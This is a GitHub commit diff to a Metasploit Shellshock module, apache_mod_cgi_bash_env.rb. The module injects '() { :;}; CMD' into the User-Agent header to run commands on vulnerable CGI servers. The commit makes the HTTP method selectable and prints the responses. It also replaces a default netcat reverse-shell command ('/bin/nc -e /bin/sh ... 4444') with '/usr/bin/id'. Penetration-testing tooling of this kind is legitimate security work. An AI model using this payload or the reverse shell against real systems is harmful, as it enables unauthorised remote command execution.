Skip to content

Commit 47ff2fd

Browse files
author
Tod Beardsley
committed
Land rapid7#3883, more generic HTTP method/CMD
2 parents ff5398b + 8b6519b commit 47ff2fd

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,17 +33,22 @@ def initialize(info = {})
3333

3434
register_options([
3535
OptString.new('TARGETURI', [true, 'Path to CGI script']),
36+
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
3637
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
37-
'/bin/nc -e /bin/sh 127.0.0.1 4444 &'])
38+
'/usr/bin/id'])
3839
], self.class)
3940
end
4041

4142
def run_host(ip)
42-
send_request_cgi(
43-
'method' => 'GET',
43+
res = send_request_raw(
44+
'method' => datastore['METHOD'],
4445
'uri' => normalize_uri(target_uri.path),
4546
'agent' => "() { :;}; #{datastore['CMD']}"
4647
)
48+
49+
if res && res.code == 200
50+
vprint_good(res.body)
51+
end
4752
end
4853

4954
end

0 commit comments

Comments
 (0)